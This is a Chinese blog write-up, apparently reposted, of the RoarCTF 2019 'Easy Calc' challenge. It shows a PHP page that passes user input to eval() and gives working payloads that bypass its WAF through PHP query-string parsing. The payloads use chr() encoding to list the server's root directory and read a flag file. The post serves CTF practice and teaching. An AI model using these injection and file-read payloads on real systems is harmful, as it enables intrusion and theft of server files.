当前位置: 首页 > news >正文

[RoarCTF 2019]Easy Calc

直接抓包分析一下,输入1+1

发现是get传参,传给calc.php,我们去访问一下calc.php

得到

 <?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

 同时,在index.php的页面源代码发现

这个应该是类似WAF一样的东西

因为过滤了/,可以用chr(47)来代替,chr():返回相对应于 ascii 所指定的单个字符

尝试

?num=print_r(scandir(chr(47)))

发现

这里就是被WAF拦截了,需要绕过WAF对num的检测

用到原理:PHP的字符串解析特性。

感谢沐目_01师傅的解释:

 所以在calc.php传参

? num=print_r(scandir(chr(47)))

得到

 

然后读取根目录下的f1agg

使用file_get_contents()函数

payload:

? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

 相当于

? num=print_r(file_get_contents(/f1agg))

相关文章:

  • 不允许你还不会OSS文件操作,看完一篇就够了
  • Spring——Spring中基于注解以及配置实现事务的管理
  • JavaScript基础 JavaScript第二天 2. 语句
  • 【Python零基础入门篇 · 6】:Python中的注释、字符串的常见操作、对象的布尔值
  • 【填坑】ESP32-C3 bootloader开发(上)
  • SPI通信总线
  • STC15单片机-看门狗介绍
  • C/C++教程 从入门到精通《第二十二章》——Qt控件详解
  • ECCV 2022 | k-means Mask Transformer
  • 如何做顶级“新生代农民工”?这几本书为你打开大门
  • datawhale8月组队学习《pandas数据处理与分析》(下)(文本、分类、时序数据)
  • 王道书 P191 思维拓展
  • matplotlib与django如何集成? matplotlib生成的图可以嵌入到网页吗?
  • 内卷室友系列 -- day01 计算机网络概论
  • mac显示器如何显示docker container中的gui请求
  • 收藏网友的 源程序下载网
  • [分享]iOS开发 - 实现UITableView Plain SectionView和table不停留一起滑动
  • bearychat的java client
  • C学习-枚举(九)
  • ESLint简单操作
  • fetch 从初识到应用
  • maven工程打包jar以及java jar命令的classpath使用
  • npx命令介绍
  • Protobuf3语言指南
  • React 快速上手 - 07 前端路由 react-router
  • 从零开始学习部署
  • 基于webpack 的 vue 多页架构
  • 技术胖1-4季视频复习— (看视频笔记)
  • 将回调地狱按在地上摩擦的Promise
  • 看图轻松理解数据结构与算法系列(基于数组的栈)
  • 通过git安装npm私有模块
  • 因为阿里,他们成了“杭漂”
  • 用Visual Studio开发以太坊智能合约
  • 白色的风信子
  • 【云吞铺子】性能抖动剖析(二)
  • hi-nginx-1.3.4编译安装
  • ​ 全球云科技基础设施:亚马逊云科技的海外服务器网络如何演进
  • ​【C语言】长篇详解,字符系列篇3-----strstr,strtok,strerror字符串函数的使用【图文详解​】
  • ​如何防止网络攻击?
  • # centos7下FFmpeg环境部署记录
  • #100天计划# 2013年9月29日
  • #我与虚拟机的故事#连载20:周志明虚拟机第 3 版:到底值不值得买?
  • (floyd+补集) poj 3275
  • (poj1.3.2)1791(构造法模拟)
  • (保姆级教程)Mysql中索引、触发器、存储过程、存储函数的概念、作用,以及如何使用索引、存储过程,代码操作演示
  • (二)c52学习之旅-简单了解单片机
  • (求助)用傲游上csdn博客时标签栏和网址栏一直显示袁萌 的头像
  • (原)Matlab的svmtrain和svmclassify
  • **PyTorch月学习计划 - 第一周;第6-7天: 自动梯度(Autograd)**
  • .“空心村”成因分析及解决对策122344
  • .gitignore文件---让git自动忽略指定文件
  • .net core webapi 大文件上传到wwwroot文件夹
  • .Net IOC框架入门之一 Unity
  • .Net程序帮助文档制作
  • .NET中统一的存储过程调用方法(收藏)